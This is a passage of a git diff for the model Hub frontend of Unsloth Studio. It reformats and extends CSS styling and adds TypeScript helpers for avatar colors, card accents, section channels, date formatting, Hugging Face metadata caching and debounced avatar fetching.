-		padding-right: 1rem;
-		font-size: 13px;
-		font-weight: 600;
-		line-height: 18px;
-		letter-spacing: -0.025em;
-		color: var(--primary-foreground);
-		transition: background-color 150ms, transform 150ms;
-		box-shadow:
-			inset 0 1px 0 color-mix(in srgb, var(--primary-foreground) 18%, transparent),
-			0 1px 2px color-mix(in srgb, var(--status-success) 22%, transparent);
-	}
+  .hub-run-action-btn {
+    display: inline-flex;
+    height: 2.25rem;
+    cursor: pointer;
+    align-items: center;
+    justify-content: center;
+    gap: 0.4rem;
+    white-space: nowrap;
+    border-radius: 9999px;
+    background-color: var(--status-success);
+    padding-left: 1rem;
+    padding-right: 1rem;
+    font-size: 13px;
+    font-weight: 600;
+    line-height: 18px;
+    letter-spacing: -0.025em;
+    color: var(--primary-foreground);
+    transition: background-color 150ms, transform 150ms;
+    box-shadow: inset 0 1px 0
+      color-mix(in srgb, var(--primary-foreground) 18%, transparent), 0 1px 2px
+      color-mix(in srgb, var(--status-success) 22%, transparent);
+  }
 
-	.hub-run-action-btn:hover:not(:disabled) {
-		background-color: color-mix(in srgb, var(--status-success) 88%, black);
-	}
+  .hub-run-action-btn:hover:not(:disabled) {
+    background-color: color-mix(in srgb, var(--status-success) 88%, black);
+  }
 
-	.hub-run-action-btn:active:not(:disabled) {
-		transform: scale(0.98);
-	}
+  .hub-run-action-btn:active:not(:disabled) {
+    transform: scale(0.98);
+  }
 
-	.hub-run-action-btn:disabled {
-		cursor: not-allowed;
-		opacity: 0.5;
-	}
+  .hub-run-action-btn:disabled {
+    cursor: not-allowed;
+    opacity: 0.5;
+  }
 
-	.hub-run-action-btn svg {
-		width: 0.9rem;
-		height: 0.9rem;
-		flex-shrink: 0;
-	}
+  .hub-run-action-btn svg {
+    width: 0.9rem;
+    height: 0.9rem;
+    flex-shrink: 0;
+  }
 
-	/* Spinner-default / cancel-on-hover swap inside `.hub-action-btn`.
+  /* Spinner-default / cancel-on-hover swap inside `.hub-action-btn`.
 	   Two glyphs occupy the same 16×16 slot; the button's :hover toggles
 	   their opacities so the percentage label beside them never shifts. */
-	.hub-cta-indicator {
-		position: relative;
-		display: inline-flex;
-		width: 1rem;
-		height: 1rem;
-		flex-shrink: 0;
-		align-items: center;
-		justify-content: center;
-	}
+  .hub-cta-indicator {
+    position: relative;
+    display: inline-flex;
+    width: 1rem;
+    height: 1rem;
+    flex-shrink: 0;
+    align-items: center;
+    justify-content: center;
+  }
 
-	.hub-cta-indicator-spinner,
-	.hub-cta-indicator-cancel {
-		transition: opacity 150ms;
-	}
+  .hub-cta-indicator-spinner,
+  .hub-cta-indicator-cancel {
+    transition: opacity 150ms;
+  }
 
-	.hub-cta-indicator-cancel {
-		position: absolute;
-		opacity: 0;
-	}
+  .hub-cta-indicator-cancel {
+    position: absolute;
+    opacity: 0;
+  }
 
-	.hub-action-btn:hover .hub-cta-indicator-spinner {
-		opacity: 0;
-	}
+  .hub-action-btn:hover .hub-cta-indicator-spinner {
+    opacity: 0;
+  }
 
-	.hub-action-btn:hover .hub-cta-indicator-cancel {
-		opacity: 1;
-	}
+  .hub-action-btn:hover .hub-cta-indicator-cancel {
+    opacity: 1;
+  }
 
-	/* Hover-revealed inline action overlay (used for the row-end trash on
+  /* Hover-revealed inline action overlay (used for the row-end trash on
 	   downloaded models and datasets in the inspector). Wrapper 28×28 with a
 	   16px glyph — same icon size as `.hub-action-btn` so the destructive
 	   affordance reads consistently with the primary actions. Relies on a
 	   `.group/dl` ancestor for the hover scope (the Hub download row). */
-	.hub-row-action {
-		position: absolute;
-		right: 0.25rem;
-		top: 50%;
-		display: inline-flex;
-		width: 1.75rem;
-		height: 1.75rem;
-		transform: translateY(-50%);
-		align-items: center;
-		justify-content: center;
-		border-radius: 8px;
-		color: var(--muted-foreground);
-		opacity: 0;
-		cursor: pointer;
-		transition: opacity 150ms, color 150ms;
-	}
+  .hub-row-action {
+    position: absolute;
+    right: 0.25rem;
+    top: 50%;
+    display: inline-flex;
+    width: 1.75rem;
+    height: 1.75rem;
+    transform: translateY(-50%);
+    align-items: center;
+    justify-content: center;
+    border-radius: 8px;
+    color: var(--muted-foreground);
+    opacity: 0;
+    cursor: pointer;
+    transition: opacity 150ms, color 150ms;
+  }
 
-	.group\/dl:hover .hub-row-action,
-	.hub-row-action:focus-visible {
-		opacity: 1;
-	}
+  .group\/dl:hover .hub-row-action,
+  .hub-row-action:focus-visible {
+    opacity: 1;
+  }
 
-	.hub-row-action:hover {
-		color: rgb(225 29 72);
-	}
+  .hub-row-action:hover {
+    color: rgb(225 29 72);
+  }
 
-	.dark .hub-row-action:hover {
-		color: rgb(251 113 133);
-	}
+  .dark .hub-row-action:hover {
+    color: rgb(251 113 133);
+  }
 
-	.hub-row-action svg {
-		width: 1rem;
-		height: 1rem;
-		flex-shrink: 0;
-	}
+  .hub-row-action svg {
+    width: 1rem;
+    height: 1rem;
+    flex-shrink: 0;
+  }
 }
 
 @layer base {
-	.hub-page .field-trigger.field-filter {
-		color: var(--muted-foreground);
-		font-weight: 400;
-		padding-top: 0.25rem;
-		padding-bottom: 0.25rem;
-		line-height: 1.25rem;
-	}
+  .hub-page .field-trigger.field-filter {
+    color: var(--muted-foreground);
+    font-weight: 400;
+    padding-top: 0.25rem;
+    padding-bottom: 0.25rem;
+    line-height: 1.25rem;
+  }
 
-	.hub-page .field-trigger.field-filter:hover {
-		color: var(--foreground);
-	}
+  .hub-page .field-trigger.field-filter:hover {
+    color: var(--foreground);
+  }
+
+  .hub-page .hub-stat-pill {
+    display: inline-flex;
+    flex-shrink: 0;
+    align-items: center;
+    gap: 0.4rem;
+    height: 2rem;
+    padding-inline: 0.7rem;
+    border-radius: 9999px;
+    border: 1px solid color-mix(in srgb, var(--foreground) 8%, transparent);
+    background-color: color-mix(in srgb, var(--foreground) 2.5%, transparent);
+    font-size: 12px;
+    line-height: 1;
+    color: var(--muted-foreground);
+    white-space: nowrap;
+  }
+
+  html.dark .hub-page .hub-stat-pill {
+    background-color: color-mix(in srgb, var(--foreground) 4%, transparent);
+  }
+
+  .hub-page .hub-stat-pill-value {
+    font-weight: 600;
+    color: var(--foreground);
+    font-variant-numeric: tabular-nums;
+  }
+
+  .hub-page .hub-hero {
+    --hub-hero-fill: color-mix(in srgb, var(--foreground) 3.2%, transparent);
+    --hub-card-border-accent: var(--foreground);
+    --hub-card-edge-mix: 2.2%;
+    --hub-card-inner-accent: var(--background);
+    --hub-card-inner-mix: 12%;
+    --hub-card-inner-opacity: 0.14;
+    --hub-card-corner-mix: 8.5%;
+    --hub-card-corner-opacity: 0.48;
+    --hub-hero-edge: color-mix(
+      in srgb,
+      var(--hub-card-border-accent) var(--hub-card-edge-mix),
+      transparent
+    );
+    --hub-hero-inner-edge: color-mix(
+      in srgb,
+      var(--hub-card-inner-accent) var(--hub-card-inner-mix),
+      transparent
+    );
+    --hub-hero-corner-edge: color-mix(
+      in srgb,
+      var(--hub-card-border-accent) var(--hub-card-corner-mix),
+      transparent
+    );
+    position: relative;
+    overflow: hidden;
+    border-radius: 24px;
+    border: 1px solid transparent;
+    background-color: var(--hub-hero-fill);
+  }
+
+  .hub-page .hub-hero::before,
+  .hub-page .hub-hero::after {
+    position: absolute;
+    border-radius: inherit;
+    content: "";
+    pointer-events: none;
+  }
+
+  .hub-page .hub-hero::before {
+    inset: 1px;
+    border: 1px solid var(--hub-hero-inner-edge);
+    opacity: 0;
+  }
+
+  .hub-page .hub-hero::after {
+    inset: 0;
+    border: 1px solid var(--hub-hero-corner-edge);
+    opacity: 0;
+    -webkit-mask:
+      linear-gradient(
+        90deg,
+        #000 0 76px,
+        rgb(0 0 0 / 94%) 34%,
+        rgb(0 0 0 / 58%) 76%,
+        transparent 100%
+      )
+      top left / 48% 44px no-repeat,
+      linear-gradient(
+        180deg,
+        #000 0 54px,
+        rgb(0 0 0 / 68%) 86px,
+        transparent 140px
+      )
+      top left / 44px 160px no-repeat,
+      linear-gradient(
+        270deg,
+        #000 0 76px,
+        rgb(0 0 0 / 94%) 34%,
+        rgb(0 0 0 / 58%) 76%,
+        transparent 100%
+      )
+      bottom right / 48% 44px no-repeat,
+      linear-gradient(
+        0deg,
+        #000 0 54px,
+        rgb(0 0 0 / 68%) 86px,
+        transparent 140px
+      )
+      bottom right / 44px 160px no-repeat;
+    mask:
+      linear-gradient(
+        90deg,
+        #000 0 76px,
+        rgb(0 0 0 / 94%) 34%,
+        rgb(0 0 0 / 58%) 76%,
+        transparent 100%
+      )
+      top left / 48% 44px no-repeat,
+      linear-gradient(
+        180deg,
+        #000 0 54px,
+        rgb(0 0 0 / 68%) 86px,
+        transparent 140px
+      )
+      top left / 44px 160px no-repeat,
+      linear-gradient(
+        270deg,
+        #000 0 76px,
+        rgb(0 0 0 / 94%) 34%,
+        rgb(0 0 0 / 58%) 76%,
+        transparent 100%
+      )
+      bottom right / 48% 44px no-repeat,
+      linear-gradient(
+        0deg,
+        #000 0 54px,
+        rgb(0 0 0 / 68%) 86px,
+        transparent 140px
+      )
+      bottom right / 44px 160px no-repeat;
+  }
+
+  html.dark .hub-page .hub-hero {
+    --hub-hero-fill: #1c1c1c;
+    --hub-card-border-accent: var(--foreground);
+    --hub-card-edge-mix: 2.8%;
+    --hub-card-inner-accent: var(--foreground);
+    --hub-card-inner-mix: 2.5%;
+    --hub-card-inner-opacity: 0.22;
+    --hub-card-corner-mix: 9.5%;
+  }
+
+  .hub-page .hub-hero-panel {
+    border-radius: 18px;
+    border: 1px solid transparent;
+    background-color: color-mix(in srgb, var(--background) 72%, transparent);
+  }
+
+  html.dark .hub-page .hub-hero-panel {
+    border-color: transparent;
+    background-color: #202020;
+  }
+
+  .hub-page .hub-hero-orb {
+    position: absolute;
+    border-radius: 9999px;
+    background-color: color-mix(in srgb, var(--foreground) 4.5%, transparent);
+    opacity: 0.42;
+  }
+
+  .hub-page .hub-hero-orb-accent {
+    background-color: color-mix(in srgb, var(--foreground) 8%, transparent);
+    opacity: 0.34;
+  }
+
+  .hub-page .hub-section-chevron {
+    transition: color 150ms ease, transform 150ms ease;
+  }
+
+  .hub-page .hub-section-chevron:hover {
+    color: var(--foreground);
+  }
+
+  .hub-page .hub-section-title:hover .hub-section-chevron {
+    color: var(--foreground);
+    transform: translateX(2px);
+  }
+
+  @media (prefers-reduced-motion: reduce) {
+    .hub-page .hub-section-chevron {
+      transition: none;
+    }
+
+    .hub-page .hub-section-title:hover .hub-section-chevron {
+      transform: none;
+    }
+  }
+}
+
+@layer utilities {
+  .hub-chip {
+    @apply inline-flex items-center gap-1 rounded-full px-2 py-[3px] text-[11px] font-medium leading-none;
+    background-color: color-mix(in srgb, var(--foreground) 5%, transparent);
+    color: var(--muted-foreground);
+  }
+
+  .dark .hub-chip {
+    background-color: color-mix(in srgb, var(--foreground) 7%, transparent);
+  }
+
+  .hub-meta-tag {
+    @apply inline-flex h-[18px] shrink-0 items-center gap-1 rounded-full px-2 text-[11px] font-medium leading-none;
+    background-color: color-mix(in srgb, var(--foreground) 5%, transparent);
+    color: var(--muted-foreground);
+  }
+
+  .dark .hub-meta-tag {
+    background-color: color-mix(in srgb, var(--foreground) 7.5%, transparent);
+  }
 }
 
 html:not(.dark) .hub-page [data-hub-scroll="true"] {
-	scrollbar-color: oklch(0.5 0 0 / 0.22) transparent;
+  scrollbar-color: oklch(0.5 0 0 / 0.22) transparent;
 }
 
 html.dark .hub-page [data-hub-scroll="true"] {
-	scrollbar-color: oklch(0.72 0 0 / 0.3) transparent;
+  scrollbar-color: oklch(0.55 0 0 / 0.16) transparent;
 }
 
 html:not(.dark) .hub-page [data-hub-scroll="true"]::-webkit-scrollbar-thumb {
-	background: oklch(0.5 0 0 / 0.22);
+  background: oklch(0.5 0 0 / 0.22);
 }
 
 html.dark .hub-page [data-hub-scroll="true"]::-webkit-scrollbar-thumb {
-	background: oklch(0.72 0 0 / 0.3);
+  background: oklch(0.55 0 0 / 0.16);
 }
 
 /* While a modal dialog is open (delete confirmation, transport-mode swap, the
@@ -759,5 +1514,5 @@ html.dark .hub-page [data-hub-scroll="true"]::-webkit-scrollbar-thumb {
    by the body-level rule, and the dialog's own portaled content never carries
    this class. */
 body[data-scroll-locked] .hub-modal-pe-guard {
-	pointer-events: none !important;
+  pointer-events: none !important;
 }
diff --git a/studio/frontend/src/features/hub/inventory/use-device-inventory.ts b/studio/frontend/src/features/hub/inventory/use-device-inventory.ts
index c662a58228..00eaa31a22 100644
--- a/studio/frontend/src/features/hub/inventory/use-device-inventory.ts
+++ b/studio/frontend/src/features/hub/inventory/use-device-inventory.ts
@@ -215,8 +215,8 @@ export function fetchInventorySource<K extends DeviceInventorySource>(
   }
 
   // Carry `ready` across refetches so a stale-but-known state doesn't flip to
-  // "loading" on a bump and flash a spinner in every consumer; show prior rows
-  // until the success path lands fresh data.
+  // "loading" on a bump and flash a spinner in every consumer; keep showing
+  // prior rows until the success path lands fresh data.
   updateSourceState(source, {
     loading: true,
     ready: current.ready,
diff --git a/studio/frontend/src/features/hub/lib/avatar-theme.ts b/studio/frontend/src/features/hub/lib/avatar-theme.ts
new file mode 100644
index 0000000000..c2e24f5be0
--- /dev/null
+++ b/studio/frontend/src/features/hub/lib/avatar-theme.ts
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+const PALETTE = [
+  "hsl(214 66% 52%)",
+  "hsl(172 54% 44%)",
+  "hsl(30 70% 52%)",
+  "hsl(348 62% 56%)",
+  "hsl(198 64% 50%)",
+  "hsl(140 48% 46%)",
+  "hsl(222 50% 56%)",
+  "hsl(16 64% 54%)",
+  "hsl(260 46% 58%)",
+  "hsl(44 72% 50%)",
+];
+
+function hashOwner(owner: string): number {
+  let h = 0;
+  for (let i = 0; i < owner.length; i++) {
+    h = (h * 31 + owner.charCodeAt(i)) | 0;
+  }
+  return Math.abs(h);
+}
+
+export function ownerPaletteColor(owner: string): string {
+  const owned = owner.trim() || "?";
+  return PALETTE[hashOwner(owned) % PALETTE.length];
+}
diff --git a/studio/frontend/src/features/hub/lib/card-accent.ts b/studio/frontend/src/features/hub/lib/card-accent.ts
new file mode 100644
index 0000000000..743d9d0251
--- /dev/null
+++ b/studio/frontend/src/features/hub/lib/card-accent.ts
@@ -0,0 +1,109 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { CSSProperties } from "react";
+
+export type AdaptiveCardAccentStyle = CSSProperties & {
+  "--hub-card-art-accent"?: string;
+  "--hub-card-inner-mix"?: string;
+  "--hub-card-inner-opacity"?: string;
+};
+
+interface Rgb {
+  r: number;
+  g: number;
+  b: number;
+}
+
+function clamp(value: number, min: number, max: number): number {
+  return Math.min(Math.max(value, min), max);
+}
+
+function formatPercent(value: number): string {
+  return `${Math.round(value * 10) / 10}%`;
+}
+
+function formatOpacity(value: number): string {
+  return (Math.round(value * 100) / 100).toString();
+}
+
+function parseRgb(color: string): Rgb | null {
+  const value = color.trim().toLowerCase();
+  if (!(value.startsWith("rgb(") || value.startsWith("rgba("))) {
+    return null;
+  }
+
+  const start = value.indexOf("(");
+  const end = value.indexOf(")", start + 1);
+  if (start === -1 || end === -1) {
+    return null;
+  }
+
+  const channels = value
+    .slice(start + 1, end)
+    .split(",")
+    .slice(0, 3)
+    .map((channel) => Number.parseFloat(channel.trim()));
+  if (
+    channels.length !== 3 ||
+    channels.some((channel) => !Number.isFinite(channel))
+  ) {
+    return null;
+  }
+
+  const [r, g, b] = channels.map((channel) => clamp(channel, 0, 255));
+  return { r, g, b };
+}
+
+function relativeLuminance({ r, g, b }: Rgb): number {
+  const toLinear = (channel: number) => {
+    const value = channel / 255;
+    return value <= 0.04045 ? value / 12.92 : ((value + 0.055) / 1.055) ** 2.4;
+  };
+  return 0.2126 * toLinear(r) + 0.7152 * toLinear(g) + 0.0722 * toLinear(b);
+}
+
+function saturation({ r, g, b }: Rgb): number {
+  const max = Math.max(r, g, b);
+  const min = Math.min(r, g, b);
+  return max === 0 ? 0 : (max - min) / max;
+}
+
+export function buildAdaptiveCardAccentStyle(
+  color: string | null,
+): AdaptiveCardAccentStyle | undefined {
+  if (!color) {
+    return undefined;
+  }
+
+  const rgb = parseRgb(color);
+  if (!rgb) {
+    return undefined;
+  }
+
+  const sat = saturation(rgb);
+  if (sat < 0.22) {
+    return undefined;
+  }
+
+  const lum = relativeLuminance(rgb);
+  const darkPenalty = lum < 0.24 ? 3.4 : lum < 0.36 ? 2.1 : 0;
+  const brightPenalty = lum > 0.78 ? 1.4 : 0;
+
+  const innerMix = clamp(
+    16 + sat * 9 - darkPenalty * 1.8 - brightPenalty,
+    12,
+    25,
+  );
+  const innerOpacity = clamp(
+    0.18 + sat * 0.16 - darkPenalty * 0.035 - brightPenalty * 0.015,
+    0.16,
+    0.34,
+  );
+
+  return {
+    "--hub-card-art-accent": color,
+    "--hub-card-inner-mix": formatPercent(innerMix),
+    "--hub-card-inner-opacity": formatOpacity(innerOpacity),
+  };
+}
diff --git a/studio/frontend/src/features/hub/lib/channels.ts b/studio/frontend/src/features/hub/lib/channels.ts
index 6fc3fe7c9a..4106820c4d 100644
--- a/studio/frontend/src/features/hub/lib/channels.ts
+++ b/studio/frontend/src/features/hub/lib/channels.ts
@@ -1,13 +1,13 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import type { HfSortKey } from "@/features/hub/hooks/use-hub-model-search";
 import {
   NewReleasesIcon,
   SlidersHorizontalIcon,
   SparklesIcon,
 } from "@hugeicons/core-free-icons";
 import type { IconSvgElement } from "@hugeicons/react";
-import type { HfSortKey } from "@/features/hub/hooks/use-hub-model-search";
 import type { ModelFormatFilter } from "../types";
 
 export type ChannelId =
@@ -35,8 +35,9 @@ export const CHANNEL_PRESETS: readonly ChannelPreset[] = [
     id: "unsloth-trending",
     label: "Unsloth Trending",
     icon: SparklesIcon,
-    hint: "Trending Unsloth models.",
+    hint: "Most trending models published by Unsloth.",
     owner: "unsloth",
+    tags: ["gguf"],
     format: "gguf",
     sort: "trendingScore",
   },
@@ -44,7 +45,7 @@ export const CHANNEL_PRESETS: readonly ChannelPreset[] = [
     id: "unsloth-latest",
     label: "Latest Unsloth",
     icon: NewReleasesIcon,
-    hint: "Newest Unsloth releases.",
+    hint: "Freshly released models from the Unsloth channel.",
     owner: "unsloth",
     format: "all",
     sort: "lastModified",
@@ -65,3 +66,33 @@ export function findChannel(id: ChannelId | null): ChannelPreset | null {
   if (!id) return null;
   return CHANNEL_PRESETS.find((preset) => preset.id === id) ?? null;
 }
+
+export type HubSection = "trending" | "latest" | "finetune";
+
+export const HUB_SECTION_ORDER: readonly HubSection[] = [
+  "trending",
+  "latest",
+  "finetune",
+];
+
+export const SECTION_TO_CHANNEL: Record<HubSection, ChannelId> = {
+  trending: "unsloth-trending",
+  latest: "unsloth-latest",
+  finetune: "unsloth-safetensors",
+};
+
+export const CHANNEL_TO_SECTION: Record<ChannelId, HubSection> = {
+  "unsloth-trending": "trending",
+  "unsloth-latest": "latest",
+  "unsloth-safetensors": "finetune",
+};
+
+export const HUB_SECTION_TITLE: Record<HubSection, string> = {
+  trending: "Trending Now",
+  latest: "Latest Unsloth Models",
+  finetune: "Fine-tune Ready",
+};
+
+export function isHubSection(value: unknown): value is HubSection {
+  return value === "trending" || value === "latest" || value === "finetune";
+}
diff --git a/studio/frontend/src/features/hub/lib/format-filters.ts b/studio/frontend/src/features/hub/lib/format-filters.ts
index 27d5972404..7b8e73bb0a 100644
--- a/studio/frontend/src/features/hub/lib/format-filters.ts
+++ b/studio/frontend/src/features/hub/lib/format-filters.ts
@@ -3,10 +3,10 @@
 
 export type FormatFilterModelFormat =
   | "gguf"
-  | "mlx"
   | "safetensors"
   | "adapter"
   | "checkpoint"
+  | "mlx"
   | "unknown";
 
 export type FormatFilterValue = "all" | "gguf" | "checkpoint" | "mlx";
@@ -27,9 +27,6 @@ export function matchesFormat(
   return normalized === "safetensors" || normalized === "checkpoint";
 }
 
-// Discover results carry an isGguf flag plus HF tags/library. MLX repos are
-// tagged "mlx" or use library_name "mlx", so detect those before falling back
-// to safetensors.
 export function detectResultFormat(result: {
   isGguf: boolean;
   tags?: string[];
diff --git a/studio/frontend/src/features/hub/lib/format.ts b/studio/frontend/src/features/hub/lib/format.ts
index 862597ff95..95e2c5b671 100644
--- a/studio/frontend/src/features/hub/lib/format.ts
+++ b/studio/frontend/src/features/hub/lib/format.ts
@@ -51,6 +51,16 @@ export function repoOf(id: string): string {
   return id.includes("/") ? id.split("/").slice(1).join("/") : id;
 }
 
+export function formatShortDate(iso?: string): string {
+  if (!iso) return "N/A";
+  const time = new Date(iso).getTime();
+  if (Number.isNaN(time)) return "N/A";
+  return new Intl.DateTimeFormat("en", {
+    month: "short",
+    year: "numeric",
+  }).format(time);
+}
+
 export function formatRelativeShort(iso?: string): string {
   if (!iso) return "N/A";
   const then = new Date(iso).getTime();
@@ -70,3 +80,21 @@ export function formatRelativeShort(iso?: string): string {
   const years = Math.floor(days / 365);
   return `${years}y ago`;
 }
+
+export function formatRelativeLong(iso?: string): string {
+  if (!iso) return "N/A";
+  const then = new Date(iso).getTime();
+  if (Number.isNaN(then)) return "N/A";
+  const diffMs = Math.max(0, Date.now() - then);
+  const minutes = Math.floor(diffMs / 60_000);
+  if (minutes < 1) return "just now";
+  const unit = (value: number, name: string) =>
+    `${value} ${name}${value === 1 ? "" : "s"} ago`;
+  if (minutes < 60) return unit(minutes, "minute");
+  const hours = Math.floor(minutes / 60);
+  if (hours < 24) return unit(hours, "hour");
+  const days = Math.floor(hours / 24);
+  if (days < 30) return unit(days, "day");
+  if (days < 365) return unit(Math.floor(days / 30), "month");
+  return unit(Math.floor(days / 365), "year");
+}
diff --git a/studio/frontend/src/features/hub/lib/hf-cache.ts b/studio/frontend/src/features/hub/lib/hf-cache.ts
index f2cab8b2ca..8860d430ea 100644
--- a/studio/frontend/src/features/hub/lib/hf-cache.ts
+++ b/studio/frontend/src/features/hub/lib/hf-cache.ts
@@ -9,11 +9,30 @@ import { fingerprintToken } from "./token-fingerprint";
 const CACHE_TTL_MS = 5 * 60 * 1000;
 const CACHE_MAX_ENTRIES = 256;
 const MAX_CONCURRENT = 3;
-const ALL_FIELDS: ("safetensors" | "tags")[] = ["safetensors", "tags"];
+type CachedAdditionalField =
+  | "safetensors"
+  | "tags"
+  | "library_name"
+  | "config"
+  | "createdAt"
+  | "downloadsAllTime";
+
+const DEFAULT_FIELDS: CachedAdditionalField[] = [
+  "safetensors",
+  "tags",
+  "library_name",
+  "config",
+  "createdAt",
+  "downloadsAllTime",
+];
 
 export type CachedResult = ModelEntry & {
   safetensors?: { total?: number; parameters?: Record<string, number> };
   tags?: string[];
+  library_name?: string;
+  config?: { quantization_config?: { quant_method?: string } };
+  createdAt?: string | Date;
+  downloadsAllTime?: number;
 };
 
 interface CacheEntry {
@@ -88,9 +107,15 @@ export async function cachedModelInfo(
   const promise = (async () => {
     await acquire();
     try {
+      const additionalFields = Array.from(
+        new Set([
+          ...DEFAULT_FIELDS,
+          ...((params.additionalFields ?? []) as CachedAdditionalField[]),
+        ]),
+      );
       const result = await modelInfo({
         ...params,
-        additionalFields: ALL_FIELDS,
+        additionalFields,
       });
       const entry = { data: result as CachedResult, ts: Date.now() };
       cache.set(key, entry);
diff --git a/studio/frontend/src/features/hub/lib/hf-owner-avatar.ts b/studio/frontend/src/features/hub/lib/hf-owner-avatar.ts
index e3871f4011..6e83cfe3c5 100644
--- a/studio/frontend/src/features/hub/lib/hf-owner-avatar.ts
+++ b/studio/frontend/src/features/hub/lib/hf-owner-avatar.ts
@@ -11,24 +11,31 @@ type AvatarCacheEntry =
   | { kind: "miss-permanent" }
   | { kind: "miss-transient"; until: number; failures: number };
 
-// Avatars rarely change; after this the cached URL is shown immediately, then
+// Avatars rarely change; after this TTL the cached URL is still shown, then
 // refreshed in the background and swapped if changed (stale-while-revalidate).
 const URL_TTL_MS = 24 * 60 * 60 * 1000;
 
 // Transient (429/5xx) avatar failures are negative-cached so they auto-recover.
-// Each consecutive failure doubles the retry delay up to a cap (a success
-// resets it); the backoff lives in the cache entry to survive virtualized-list churn.
+// Each consecutive failure doubles the retry delay up to a cap (success resets);
+// the backoff lives in the cache entry to survive virtualized-list remount churn.
 const TRANSIENT_MISS_BASE_TTL_MS = 60_000;
 const TRANSIENT_MISS_MAX_TTL_MS = 30 * 60_000;
 
 // Bound each fetch so a stalled connection can't hold a concurrency permit open
-// forever (which would hang every queued lookup); timeout is treated as transient.
+// forever (which would eventually hang every queued lookup); timeout is treated
+// as a transient miss so it auto-recovers.
 const AVATAR_FETCH_TIMEOUT_MS = 10_000;
 
+// Defer the first network lookup so rows scrolled past in under this window
+// cancel before they ever touch HF, instead of a fast scroll firing hundreds of
+// requests that swamp the gate. Cached avatars (url / miss) still resolve sync.
+const AVATAR_FETCH_DEBOUNCE_MS = 200;
+
 const cache = new LruMap<string, AvatarCacheEntry>(256);
 const inflight = new Map<string, Promise<string | null>>();
 
-// Cap concurrent avatar lookups so a fast scroll doesn't burst past the rate limit.
+// Cap concurrent avatar lookups so a fast scroll doesn't burst past the rate
+// limit, mirroring the modelInfo limiter in hf-cache.ts.
 const MAX_AVATAR_CONCURRENT = 6;
 let activeFetches = 0;
 const waiting: Array<() => void> = [];
@@ -145,7 +152,10 @@ function loadAvatar(name: string): Promise<string | null> {
   return promise;
 }
 
-export function useHfOwnerAvatar(owner: string | null | undefined): string | null {
+export function useHfOwnerAvatar(
+  owner: string | null | undefined,
+  enabled = true,
+): string | null {
   const key = owner?.trim() ?? "";
   const online = useOnlineStatus();
   const [state, setState] = useState<{ key: string; url: string | null }>(() => {
@@ -154,9 +164,13 @@ export function useHfOwnerAvatar(owner: string | null | undefined): string | nul
   const url = state.key === key ? state.url : readCachedUrl(key);
 
   useEffect(() => {
-    if (!key || !online) return;
+    // When disabled (virtualized list rows), never hit the network: show a
+    // cached avatar if one exists, else the colored-initial tile. Keeps the
+    // "All publishers" feed from firing a per-row lookup storm.
+    if (!key || !online || !enabled) return;
     let cancelled = false;
     let retryTimer: ReturnType<typeof setTimeout> | null = null;
+    let fetchTimer: ReturnType<typeof setTimeout> | null = null;
 
     const scheduleRetry = (until: number) => {
       const wait = Math.max(until - Date.now(), 0) + 100;
@@ -165,6 +179,19 @@ export function useHfOwnerAvatar(owner: string | null | undefined): string | nul
       }, wait);
     };
 
+    const runFetch = () => {
+      void loadAvatar(key).then((next) => {
+        if (cancelled) return;
+        setState({ key, url: next });
+        if (next == null) {
+          const post = readCache(key);
+          if (post?.kind === "miss-transient") {
+            scheduleRetry(post.until);
+          }
+        }
+      });
+    };
+
     const attempt = async () => {
       const cached = readCache(key);
       if (cached?.kind === "url") {
@@ -185,15 +212,9 @@ export function useHfOwnerAvatar(owner: string | null | undefined): string | nul
         scheduleRetry(cached.until);
         return;
       }
-      const next = await loadAvatar(key);
-      if (cancelled) return;
-      setState({ key, url: next });
-      if (next == null) {
-        const post = readCache(key);
-        if (post?.kind === "miss-transient") {
-          scheduleRetry(post.until);
-        }
-      }
+      // Uncached: defer the network lookup so rows scrolled past in under
+      // AVATAR_FETCH_DEBOUNCE_MS cancel before they ever hit HF.
+      fetchTimer = setTimeout(runFetch, AVATAR_FETCH_DEBOUNCE_MS);
     };
 
     void attempt();
@@ -201,8 +222,9 @@ export function useHfOwnerAvatar(owner: string | null | undefined): string | nul
     return () => {
       cancelled = true;
       if (retryTimer != null) clearTimeout(retryTimer);
+      if (fetchTimer != null) clearTimeout(fetchTimer);
     };
-  }, [key, online]);
+  }, [key, online, enabled]);
 
   return url;
 }
diff --git a/studio/frontend/src/features/hub/lib/hf-readme.ts b/studio/frontend/src/features/hub/lib/hf-readme.ts
index 89cb5590dc..d68df2b808 100644
--- a/studio/frontend/src/features/hub/lib/hf-readme.ts
+++ b/studio/frontend/src/features/hub/lib/hf-readme.ts
@@ -17,13 +17,14 @@ interface ReadmeCacheEntry {
   promise: Promise<FetchedReadme | null>;
   // Epoch ms after which the result is refetched. 404s and transient failures
   // are cached briefly (transient shorter) so absence/outage can recover;
-  // positive results and pending requests never expire within the session.
+  // positive and pending results never expire within the session.
   staleAt: number;
 }
 
 const cache = new LruMap<string, ReadmeCacheEntry>(64);
 
-// Bound each request so a stalled HF connection aborts and surfaces as a transient failure.
+// Bound each request so a stalled HF connection aborts and surfaces as a
+// transient failure, matching the dataset-size and owner-avatar helpers.
 const README_FETCH_TIMEOUT_MS = 10_000;
 const README_NEGATIVE_TTL_MS = 5 * 60_000;
 const README_TRANSIENT_TTL_MS = 30_000;
diff --git a/studio/frontend/src/features/hub/lib/hub-feature-flags.ts b/studio/frontend/src/features/hub/lib/hub-feature-flags.ts
index d0d527b720..858a8b89db 100644
--- a/studio/frontend/src/features/hub/lib/hub-feature-flags.ts
+++ b/studio/frontend/src/features/hub/lib/hub-feature-flags.ts
@@ -1,5 +1,11 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+// Hub feature flags for staged rollout. JSX/wiring stay in place so flipping
+// a flag here is the only edit needed to re-enable.
+
+// Post-download Run / New Chat / Use in chat / Train CTAs; hidden until the
+// Hub-aware chat and train pickers ship.
 export const HUB_POST_DOWNLOAD_ACTIONS_VISIBLE = false;
+
 export const HUB_GGUF_RUN_ACTIONS_VISIBLE = true;
